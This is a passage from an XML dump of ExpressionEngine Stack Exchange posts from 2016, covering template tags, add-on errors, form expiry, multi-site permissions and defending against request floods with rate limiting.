  <row Id="35660" PostTypeId="2" ParentId="35655" CreationDate="2016-02-23T18:36:58.060" Score="1" Body="&lt;p&gt;In your WYGWAM editor configuration setting, you need to add an advanced settings for “entities” and set it to no because WYGWAM encodes straight quotes as &lt;code&gt;&amp;amp;quot;&lt;/code&gt; which prevents any typography processing from working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZhyUN.png&quot; alt=&quot;entities setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use something like Typographee to parse the typography correctly (this is what I do): &lt;a href=&quot;https://github.com/tjdraper/typographee&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/tjdraper/typographee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There is an EE 2 branch on the GitHub repo as well so it’s not EE 3 only)&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2016-02-23T18:36:58.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35661" PostTypeId="1" AcceptedAnswerId="35662" CreationDate="2016-02-23T21:10:44.150" Score="0" ViewCount="60" Body="&lt;p&gt;I'm using the Charge API to get a customer's next invoice date in a template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{exp:charge:api call=&quot;Stripe_Invoice::upcoming&quot; param_name=&quot;customer&quot; key=&quot;{customer_id}&quot;}&#xA;{if has_error}&#xA;    {error_message}&#xA;{if:else}&#xA;    {data}&#xA;        {if '{next_payment_attempt}' != ''}&#xA;            Your plan will renew automatically on:&#xA;            {exp:low_nice_date date=&quot;{next_payment_attempt}&quot; format=&quot;%n/%j/%Y&quot;}.&#xA;        {/if}&#xA;    {/data}&#xA;{/if}&#xA;{/exp:charge:api}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This calls the &lt;code&gt;api()&lt;/code&gt; function in the module, and I can clearly see where &lt;code&gt;{data}&lt;/code&gt; is being set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$data = ee()-&gt;charge_stripe-&gt;api_call($call_name, $call_val, $call_param_name);&#xA;&#xA;if ($data === false) {&#xA;    $ret['has_error'] = true;&#xA;    $ret['error_message'] = ee()-&gt;charge_stripe-&gt;api_error_message;&#xA;} else {&#xA;    $ret['data'] = $data;&#xA;    $ret['has_error'] = false;&#xA;    $ret['error_message'] = '';&#xA;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I &lt;code&gt;var_dump($data['next_payment_attempt'])&lt;/code&gt; there I get a timestamp, as expected.  But in the template I get an error about Array to String conversion.  I can manually add the line &lt;code&gt;$ret['next_payment_attempt'] = $data['next_payment_attempt'];&lt;/code&gt; and then use &lt;code&gt;{next_payment_attempt}&lt;/code&gt; in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't I use &lt;code&gt;{data}{next_payment_attempt}{/data}&lt;/code&gt; in my template without modifying the PHP directly, when it's clear that &lt;code&gt;$data['next_payment_attempt']&lt;/code&gt; is a timestamp? &lt;/p&gt;&#xA;" OwnerUserId="6863" LastActivityDate="2016-02-23T22:05:40.370" Title="Why can't I loop through {data} array after API call?" Tags="|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35662" PostTypeId="2" ParentId="35661" CreationDate="2016-02-23T22:05:40.370" Score="1" Body="&lt;p&gt;Alas I don't know the add-on, but for a tag pair, it needs to be a numerical indexed array for the return variable, so &lt;code&gt;$ret['data'] = $data&lt;/code&gt; would need to be &lt;code&gt;$ret['data'] = array($data)&lt;/code&gt;, so that the variable pair has something to loop through, so the output should be in this structure: &lt;code&gt;$ret['data'][0]['next_payment_attempt']&lt;/code&gt; - even if it only contains 1 set of data (1 loop).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-23T22:05:40.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35663" PostTypeId="1" AcceptedAnswerId="35746" CreationDate="2016-02-24T01:26:16.440" Score="0" ViewCount="103" Body="&lt;p&gt;I'm having problems with an MSM install into an existing site (EE 2.9 / MSM 2.1.7) where non super admins can't switch to the added sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links in the site switching dropdown look like &lt;code&gt;admin.php?/cp/sites&amp;amp;site_id=1&amp;amp;page=XXX&lt;/code&gt; and &lt;code&gt;admin.php?/cp/sites&amp;amp;site_id=2&amp;amp;page=XXX&lt;/code&gt; and when you click on them as a super admin you get redirected to whatever page you're on. But when logged in as a non-super admin you actually end up on &lt;code&gt;admin.php?/cp/sites&amp;amp;site_id=2&amp;amp;page=XXX&lt;/code&gt; which is where the error message appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed &lt;code&gt;cp_session_type&lt;/code&gt; to cookies only and I've checked that the member group has the necessary privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else should I be looking at?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2016-03-01T23:53:14.093" Title="MSM &quot;You are not authorized to access this page&quot; error" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35664" PostTypeId="2" ParentId="35663" CreationDate="2016-02-24T01:44:41.820" Score="0" Body="&lt;p&gt;Member group settings are unique per site.  Make sure that group has access to the control panel for the sites you wish them to have access on.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-02-24T01:44:41.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35665" PostTypeId="1" CreationDate="2016-02-24T09:01:21.787" Score="0" ViewCount="31" Body="&lt;p&gt;I just downloaded the newest Wygwam 4.0.1 and installed it into a working EE 3.1.2 installation. When trying to select an image through Wygwam the file manager only shows PDF files. Anyone any clue why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tia, &#xA;Tom&lt;/p&gt;&#xA;" OwnerUserId="7135" LastActivityDate="2016-04-09T05:52:24.610" Title="Wygwam shows only PDF files but no images" Tags="|wygwam|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35666" PostTypeId="2" ParentId="35623" CreationDate="2016-02-24T10:34:44.320" Score="0" Body="&lt;p&gt;Assuming cookies and my MSM query above fails you, perhaps review some of the comments on this bug report : &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19334&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19334&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's for older versions but there's a few nuggets that will help you. For instance some people report login issues using Zoo Flexible Admin or Republic Analytics which are both extensions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also (from the link), might be worth searching your third_party directory or your exp_extensions table for extensions using the &lt;code&gt;cp_member_login&lt;/code&gt; hook, will help you identify the culprit as you commented that disabling extensions fixed things up nicely...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check our session domain and/or perhaps try juggling the Admin CP session type and check your &lt;code&gt;$config['cp_url']&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, as you state it's probably down to an extension using the CP hook that is incompatible or something, just need to locate the offender. Let us know how you fare!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2016-02-24T10:34:44.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35667" PostTypeId="2" ParentId="35608" CreationDate="2016-02-24T10:56:57.530" Score="0" Body="&lt;p&gt;Hmm, that is wierd, according to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13585/relationship-field-entries-total-count&quot;&gt;this thread&lt;/a&gt; (which I'm sure you've seen) that should be working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you get? Blank or the wrong number?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can you confirm the version of EE you are using please?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-02-24T10:56:57.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35669" PostTypeId="1" CreationDate="2016-02-24T15:02:06.623" Score="0" ViewCount="73" Body="&lt;p&gt;We are running a high traffic site in expression engine 2.10.1.This has a page-views of 150k daily.The server is load balanced and is running fine.&#xA;Recently we have strange issue of some pages being requested concurrently for more than 50-100 times from an an ip in less than a second.This increases the database connections and database load which brings down the site.Is there anyway to prevent this or reduce the db load on such incidents&lt;/p&gt;&#xA;" OwnerUserId="7128" LastActivityDate="2016-06-02T17:30:32.573" Title="Expression Engine Database Load" Tags="|database|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35671" PostTypeId="2" ParentId="35669" CreationDate="2016-02-24T15:30:59.370" Score="0" Body="&lt;p&gt;That could be a DDOs attack , there is a lot of that going around. I had a number of number of small tester attacks which spiked the server load. It was a lead up to a major attack which took down our site at a critical time for 12 hours. We have become  &lt;a href=&quot;https://www.cloudflare.com/&quot; rel=&quot;nofollow&quot;&gt;Cloudflare&lt;/a&gt; customers since then and it  has stopped a number of attacks for us over that the last year&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-02-24T15:30:59.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35672" PostTypeId="1" CreationDate="2016-02-24T16:40:11.783" Score="0" ViewCount="28" Body="&lt;p&gt;I have a category group that's attached to several channels, including the jobs channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't the way I'd have configured this initially but never mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 parent categories USA &amp;amp; Europe and then cities as sub categories. I want to show the cities and the jobs in those cities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all cities have jobs and right now, using GWCategories, I'm spitting out cities where there are no jobs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;jobs&quot; last_only=&quot;yes&quot; cat_id=&quot;13&quot; show_empty=&quot;no&quot;}&#xA;{cat_name}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives me all cities, irrespective of whether they have jobs or not.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2016-04-29T02:54:33.170" Title="Show sub categories where location has jobs" Tags="|categories|gwcode-categories|category-group|child-categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35674" PostTypeId="1" AcceptedAnswerId="35678" CreationDate="2016-02-24T18:08:41.640" Score="0" ViewCount="51" Body="&lt;p&gt;With a new install of EE2.10.3, and no Add-Ons installed, I'm getting two PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: ucwords() expects parameter 1 to be string, array given&#xA;Filename: cp/addons_accessories.php&#xA;Line Number: 422&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Illegal offset type&#xA;Filename: cp/addons_accessories.php&#xA;Line Number: 422&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only Accessories listed on this page are EE Info, Learning EE, News and Stats, Quick Tips; the only one installed is EE Info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that the addons will still work properly, but this is still annoying to see, and I'm not sure why it's happening. I've reinstalled EE to see if it might help, but, nope. I'm not seeing any other errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is local run using XAMPP, if that makes any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2935" LastActivityDate="2016-02-24T19:48:09.997" Title="EE2.10.3 Accessories page PHP errors" Tags="|php-errors|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35675" PostTypeId="1" CreationDate="2016-02-24T18:16:47.833" Score="0" ViewCount="188" Body="&lt;p&gt;I have a basic Freeform contact form that works in Chrome but not Safari, due to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This form has expired. Please refresh and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I clear the EE cache and try again from Safari, it works fine. If I then try Chrome I get the above error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...But this doesn't work. I have also tried turning off secure forms in the config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...And this has no effect either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another form on the site which is very similar, and I have no issues with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what the problem could be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.10.1&#xA;Freeform 4.2.4, though issue was found in 4.2.3.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2016-05-17T18:53:12.650" Title="Freeform form expired in one browser" Tags="|solspace-freeform|forms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35676" PostTypeId="2" ParentId="35669" CreationDate="2016-02-24T18:42:28.667" Score="0" Body="&lt;p&gt;Could be an intentional attack or a site scraper without limits which will usually bombard your site following all links it finds without pausing, causing a DOS attack. At a very basic level, you can block the IP in .htaccess, but they'll probably be back on a different IP, or if your site is on the radar, there could be attacks from multiple locations/people.  Last time this occurred I simply blocked the IP, a duplicate of the website content soon appeared on a domain based out of China trying to get people to purchase from the site with scraped product data and imagery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution if your host can't provide the service is to rate limit in Apache (or NginX), to restrict multiple http requests from the same IP to a more normal and acceptable level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/131681/how-can-i-implement-rate-limiting-with-apache-requests-per-second&quot;&gt;Stack Overflow Answer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good walkthrough can be found &lt;a href=&quot;http://johnleach.co.uk/words/1073&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, various settings in the code will need to change depending on what you want to limit the requests to. Be careful the code example given is for version 1 of the security module not v2.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2016-02-24T18:42:28.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35677" PostTypeId="2" ParentId="35629" CreationDate="2016-02-24T19:14:08.103" Score="0" Body="&lt;p&gt;First things you are using a very old version of Store, you would probably be best to upgrade to the latest versions of Store and EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing built into Store that would allow you to set a shipping method based upon a promo code being applied to the order. Having said that and without seeing your current shipping setup and which shipping gateways you are using you could force Store to use the default shipping gateway with a per item shipping rule when the promo code is applied. You would need to have your shipping calculated after the user has entered their shipping details and had the opportunity to apply the promo code. You would then need to use the promo_code tag in a conditional to set the shipping method to the default gateway if your specific code was used and a different gateway if a different code or no code was used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would only work if you are using a gateway that gets live rates such as UPS, USPS, FedEx, or Australian Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option would be to create a new shipping extension that uses the &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#shipping_hooks&quot; rel=&quot;nofollow&quot;&gt;shipping hook&lt;/a&gt; that would allow you to assign promo codes to either shipping rules or better yet that would allow you to assign shipping rules based upon the promo code. This way you would be able to add new promo codes and rules without having to rework your templates.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-02-24T19:14:08.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35678" PostTypeId="2" ParentId="35674" CreationDate="2016-02-24T19:48:09.997" Score="1" Body="&lt;p&gt;Looks like Dreamweaver added a random _notes folder to the system/expressionengine/controllers/cp directory, which caused the problem. Derek at Ellis Labs lead me in the right direction to figure it out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/forums/viewthread/248756/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/248756/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2935" LastActivityDate="2016-02-24T19:48:09.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35679" PostTypeId="2" ParentId="35675" CreationDate="2016-02-24T21:41:18.397" Score="0" Body="&lt;p&gt;I've seen this issue with the native email form, that was caused by the domain name not matching what was set in General settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your site URL/domain setting is www.example.com (with www) and you access the form page using example.com (no www) that can give the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to ensure the domains match. If necessary add a .htaccess rule to make sire the page redirects to the appropriate version, www or non-www.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2016-02-24T21:41:18.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35680" PostTypeId="2" ParentId="35520" CreationDate="2016-02-24T21:54:52.833" Score="0" Body="&lt;p&gt;I've never had cause to limit a channel by single entry. Instead for those sort of page/content types I tend to use Low Variables where you set up a Group, and add some custom fields to suit the content.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2016-02-24T21:54:52.833" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35681" PostTypeId="2" ParentId="35514" CreationDate="2016-02-24T21:57:42.850" Score="0" Body="&lt;p&gt;Antenna - &lt;a href=&quot;https://devot-ee.com/add-ons/antenna&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/antenna&lt;/a&gt; - is another useful addon for adding and outputting video data. It works by you adding the video URL to a custom field (or inside a Grid field). The template tag can then spit out the video along with various bits of meta data as required.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2016-02-24T21:57:42.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35682" PostTypeId="2" ParentId="35342" CreationDate="2016-02-24T22:03:47.163" Score="2" Body="&lt;p&gt;You could try &lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-alphabet&lt;/a&gt; as that allows you to group entries by letters (and numbers if you need).&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2016-02-24T22:03:47.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35683" PostTypeId="2" ParentId="35320" CreationDate="2016-02-24T22:11:47.780" Score="0" Body="&lt;p&gt;Sure can, the secret is in using hidden fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a generic message you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;message[]&quot; value=&quot;The following is a query from your website&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or to add a heading for a field do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;cheese&quot;&amp;gt;What's the best cheese?&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;message[]&quot; value=&quot;--favourite cheese--&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;cheese&quot; name=&quot;message[]&quot; value=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will output something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The following is a query from your website&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;--favourite cheese--&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Gorgonzola&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2016-02-24T22:11:47.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35684" PostTypeId="1" AcceptedAnswerId="35926" CreationDate="2016-02-24T22:38:34.757" Score="0" ViewCount="86" Body="&lt;p&gt;We have a few entries that work well on the live site, but when editing on staging server we get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Error Was Encountered&#xA;The file cannot be found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be the same issue as this question:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/35566/editing-entry-in-backend-the-file-cannot-be-found&quot;&gt;Editing entry in backend: &amp;quot;The file cannot be found&amp;quot;&lt;/a&gt;&#xA;but I can't comment so I decided to open a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We did a text search through the entire EE files and the only one with that exact text string (&quot;the file cannot be found&quot;) was Assets. We tried updating the addon, updating databases, double checking all files to make sure nothing was missing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We could copy the contents from the db as the other question suggests but we'd rather have this fixed so it doesn't happen again. Any ideas? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Santiago&lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2016-03-22T17:35:08.513" Title="Assets - &quot;The file cannot be found&quot; error" Tags="|channel-entries|assets|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35686" PostTypeId="2" ParentId="35641" CreationDate="2016-02-25T01:09:52.577" Score="0" Body="&lt;p&gt;So it turns out CartThrob does give the long error message, but not the short one.  The short error message can be added to the error output by editing the Cartthrob_paypal_express.php file in the payment gateways folder and adding $transaction['S_SHORTMESSAGE0']to the error_message key on line 399.&lt;/p&gt;&#xA;&lt;p&gt;In my case, my issue ended up being this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error code: 10004&lt;/p&gt;&#xA;&lt;p&gt;Short message: Internal error&lt;/p&gt;&#xA;&lt;p&gt;Long message: Transaction refused because of an invalid argument. See additional error messages for details.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is confusing because PayPal sometimes gives the same long message as the short message with the same error code, thus making it look like there is no long message attached.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I still do not have any more information on how to fix my problem.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-02-25T01:15:27.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35687" PostTypeId="2" ParentId="20489" CreationDate="2016-02-25T03:09:00.357" Score="0" Body="&lt;p&gt;Notifications use conditionals the same way as within a template tag. to use {name} as an example, you would do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if name}{name}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would show the value if one was entered and be disregarded if the field was left blank. However, you might want to also include a label.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if name}Name: {name}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6830" LastEditorUserId="55" LastEditDate="2016-02-25T15:12:38.497" LastActivityDate="2016-02-25T15:12:38.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35688" PostTypeId="1" CreationDate="2016-02-25T04:08:40.657" Score="0" ViewCount="84" Body="&lt;p&gt;I'm trying to wrap items in a ul if there are more than one, however I am getting the if always false, this is caused due to &lt;code&gt;{feature_content:total_results}&lt;/code&gt; returning false. &#xA;I end up with &lt;code&gt;&amp;lt;h1&amp;gt;TOTAL: &quot;&quot;&amp;lt;/h1&amp;gt;&lt;/code&gt; so it's not even zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone enlighten me as to what I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;feature&quot;} &#xA;&amp;lt;!-- Feature Section --&amp;gt;&#xA;&amp;lt;div class=&quot;layoutholder&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 large-10&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;TOTAL: &quot;{feature_content:total_results}&quot;&amp;lt;/h1&amp;gt;&#xA;            {if feature_content:total_results &amp;gt; 1}&#xA;                &amp;lt;ul class=&quot;bxslider-features&quot;&amp;gt;&#xA;                    {feature_content}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;div&amp;gt;{feature_content:content}&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/feature_content}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {if:else}&#xA;                {feature_content}&#xA;                    &amp;lt;div&amp;gt;{feature_content:content}&amp;lt;/div&amp;gt;&#xA;                {/feature_content}&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on this answer &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13585/relationship-field-entries-total-count#answer-34606&quot;&gt;Relationship field entries total count&lt;/a&gt; I would have thought the above to work.&lt;/p&gt;&#xA;" OwnerUserId="7140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2016-05-31T09:44:15.327" Title="Total items from relationship field" Tags="|templates|relationships|ee3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35689" PostTypeId="2" ParentId="35602" CreationDate="2016-02-25T10:36:47.117" Score="0" Body="&lt;p&gt;I've just seen this myself - I think that it's because the server wasn't reachable through Mollie through the entire transaction. I've seen it three instances in the past week: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When the site is actually offline and I'm going through the flow in Test mode. It can't handshake so it fails. &lt;/li&gt;&#xA;&lt;li&gt;When the server isn't responding; I'm finding that in the Mollie logs, the site becomes unreachable every day at 11am like clockwork; presumable something is restarting. I've got a question in to the server people now to see what is scheduled at that time. &lt;/li&gt;&#xA;&lt;li&gt;When the site could not handshake back after the transaction. After that pause at 11am, mails stopped coming in immediately. So in that time, a transaction occurred but there was no notification...for about 4-5 minutes. Mollie's logs showed that too (so I'm looking today at the Escort plugin to move transactional mails to Mandrill or Mailgun)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="175" LastActivityDate="2016-02-25T10:36:47.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35690" PostTypeId="2" ParentId="35688" CreationDate="2016-02-25T10:58:01.510" Score="0" Body="&lt;p&gt;This fails for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if feature_content:total_results &amp;gt; 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't it be?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if feature_content:total_results &amp;gt;= 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's less than 1, there are no relationships to show anyway. &lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2016-02-25T11:23:27.567" LastActivityDate="2016-02-25T11:23:27.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35691" PostTypeId="1" CreationDate="2016-02-25T11:55:05.783" Score="1" ViewCount="156" Body="&lt;p&gt;Apologies if this has already been asked and answered, but I couldn't find any tangible example on how to actually do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I'm trying to do is create a template in ExpressionEngine, and upload a small JPG file to a channel field that's set to a &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Channel Files&lt;/a&gt; field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/26681/can-i-edit-contents-of-channel-files-field-in-safecracker-form&quot;&gt;this post&lt;/a&gt; suggests, it should work the same as uploading to a regular File field type using the &lt;a href=&quot;https://docs.expressionengine.com/v2/add-ons/channel/channel_form/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Channel Form&lt;/a&gt; tag, but it doesn't seem to be uploading the file. The code below works perfectly for the normal File field type for adding new entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel='other_details'}&#xA;&#xA;    &amp;lt;input type='hidden' name='title' value='Some new title here.' /&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;custom_upload_hidden_file&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;custom_upload_hidden_dir&quot; value=&quot;2&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;custom_upload_directory&quot; 